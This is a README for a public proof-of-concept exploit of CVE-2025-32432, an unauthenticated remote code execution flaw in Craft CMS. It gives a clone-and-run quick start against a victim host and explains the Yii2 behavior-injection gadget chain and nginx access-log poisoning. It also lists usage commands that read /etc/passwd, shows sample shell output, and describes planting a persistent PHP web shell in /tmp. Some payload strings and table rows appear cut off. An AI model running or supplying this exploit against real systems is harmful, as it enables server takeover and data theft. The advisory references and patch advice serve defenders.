## https://sploitus.com/exploit?id=18CF3367-A754-58EE-8847-CFC66551F495
# CVE-2025-32432 - Craft CMS Unauthenticated RCE PoC
> Working proof-of-concept for **CVE-2025-32432**, an unauthenticated
> remote code execution vulnerability in **Craft CMS** versions up to
> and including **5.6.16** (also affects 4.x and 3.x trees on
> equivalent code paths).
Search keywords: `CVE-2025-32432`, `Craft CMS RCE`, `Craft 5.6.16 exploit`,
`Yii2 PhpManager gadget`, `craftcms generate-transform`, `Component::__set as behavior`,
`nginx log poisoning Craft`, `unauth RCE craftcms 2025`.
---
## TL;DR
```bash
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
```
Default mode targets vanilla Craft CMS installs. A `--lab` flag is
included for the `carangueijada-20` challenge of the
[hacklab-platform](https://github.com/cd-ratel/hacklab-platform) project,
which gates Craft behind a custom session cookie.
---
## Vulnerability
Affected component: `craft\controllers\AssetsController::actionGenerateTransform`.
The action is registered as `allowAnonymous`, so no authentication is
required. It accepts a POST parameter `handle` which is then **spread**
into a `Craft::createObject()` call:
```php
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
```
When `$handle` is an associative array under attacker control, the
spread injects arbitrary keys into the constructor config. In particular,
a key beginning with `as ` is interpreted by `yii\base\Component::__set`
as a behavior attachment, which calls `Yii::createObject($config)` on
the value **before any type check**:
```php
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
```
The Yii2 fix in 2.0.50 added `is_subclass_of($value['class'], Behavior::class)`
guarding this branch; vulnerable installs (Yii2 itemFile)`. `loadFromFile` is literally:
```php
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
```
`require` parses any file on disk as PHP. If the file contains a
`` block, that block runs in the worker. By pointing
`itemFile` at a file whose content the attacker controls, full RCE is
achieved.
### Sink: nginx `access.log`
The reliable cross-install sink is the nginx combined-format
`access.log`. It records the request `User-Agent` verbatim, including
non-printable characters and most punctuation. By sending a request
whose `User-Agent` is ``, the attacker
plants a PHP block at a known path. Pointing `itemFile` at
`/var/log/nginx/access.log` then `require`s the log, executing every
`` block in order.
Two subtleties matter:
1. **No double quotes** in the payload. nginx escapes `"` to `\x22`
in the combined format, which breaks PHP parsing of the line. Use
single quotes or `chr()` concatenation.
2. **`exit;` at the end** so `require` aborts before parsing later
log lines that may contain other malformed payloads.
---
## Affected versions
| Component | Vulnerable | Patched |
|-----------|------------|---------|
| Craft CMS | ` if needed (asset id 1 is usually the admin avatar).
---
## Usage
### Vanilla Craft CMS
```
python3 exploit.py -u http://victim.tld -c 'id'
```
### Craft mounted under a path prefix
```
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
```
### Custom asset ID
```
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
```
### Custom `itemFile` (different log path, FPM session, etc.)
```
python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
```
### Lab mode (carangueijada-20 challenge)
The `carangueijada-20` lab from the
[hacklab-platform](https://github.com/cd-ratel/hacklab-platform) gates
the Craft install behind a `coopsess` cookie issued by `PATCH /login`.
The `--lab` flag handles that handshake automatically.
```
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230 \
-p /x9k4m2nf0y7p3q \
-c 'id; uname -a'
```
Make sure `www.carangueijada.coop` resolves to the lab IP (add to
`/etc/hosts` if needed).
---
## Sample output
Successful run against fresh target:
```
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
```
Polluted-log fallback (target has been exploited before, older payload
exits before yours):
```
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST ImageTransform::class, ...$handle]`.
Our `handle[as gadget]` survives the spread.
3. `Craft::createObject($config)` calls
`Yii::$container->get(ImageTransform::class, [], $config)`, which
instantiates `ImageTransform` and writes each remaining config key
via `$transform->{$key} = $value`.
4. When the parser hits `as gadget`, `Component::__set` matches the
`as ` prefix and calls `Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])`.
5. `Yii::createObject` constructs `PhpManager`, runs `__construct()`
and then `init()`.
6. `PhpManager::init()` -> `load()` -> `loadFromFile($this->itemFile)`
-> `require '/var/log/nginx/access.log'`.
7. PHP parses the log file. Non-PHP text is echoed to stdout (which
ends up in the HTTP response body). `` blocks execute
in the worker.
8. Our planted payload runs `system($cmd)` and `exit;`. Output appears
in the response body where the `` payload that runs first | Rotate / truncate the log on the target. If you only have RCE-as-`id`, wait for next logrotate, or pivot through a writable PHP file (e.g. `/tmp/wrapper.php` with `system($_SERVER['HTTP_X_CMD']);`) and use that as `itemFile` going forward. |
| `assetId not found` | Wrong ID for that install | Browse public asset URLs to enumerate IDs, or try `-a 1` then `-a 3..N`. |
| Patched target | Craft >= 5.6.17 or Yii2 >= 2.0.50 | Chain is closed; either find another vulnerable class or move on. |
| Payload triggers PHP fatal | Older log entries contain malformed PHP that breaks the parser before your block | Same as polluted-log fix: rotate the log. |
### Polluted-log walkaround (no admin access)
If you can run only `id` reliably (because an older `exit;` poison
locked the chain), one viable pivot is to make that single `id`-class
command **write a PHP wrapper to a path you control**, then change
`itemFile` to that path for all subsequent requests:
```
# one-shot poison with command that drops /tmp/w.php as www-data
WRAPPER=''
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# encode CMD as chr() ...
```
Then call:
```
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
```
Each subsequent dispatch reads `/tmp/w.php` (a clean PHP file with
nothing before our payload) and runs the command from the `X-Cmd`
header. Adapt the script if you want this as a built-in mode.
---
## Files
```
.
โโโ exploit.py # the PoC
โโโ README.md # this file
โโโ requirements.txt # Python deps (just `requests`)
โโโ LICENSE # MIT
```
---
## References
- Craft CMS knowledge base entry: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
- GitHub Security Advisory (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
- SensePost in-the-wild campaign analysis: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
- Yii2 `Component.php` (vulnerable revision): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
- Yii2 fix (2.0.50): https://github.com/yiisoft/yii2/pull/19938
- Craft CMS commit fixing 5.6.17: https://github.com/craftcms/cms/commit (search "ImageTransformerInterface" around 2025-04-09)
- OWASP log injection: https://owasp.org/www-community/attacks/Log_Injection
- HackTricks LFI-to-RCE via nginx logs: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log
---
## Disclaimer
This proof-of-concept is published for **defensive research,
educational use, and authorized penetration testing only**. Running it
against systems you do not own or do not have written permission to
test is illegal in most jurisdictions. The author accepts no liability
for misuse.
If you maintain a Craft CMS install, **upgrade to 5.6.17 or later**
(or the corresponding 4.x / 3.x patch release). The vulnerability is
trivially exploitable and was used in real-world campaigns documented
by SensePost.
## License
MIT. See [LICENSE](LICENSE).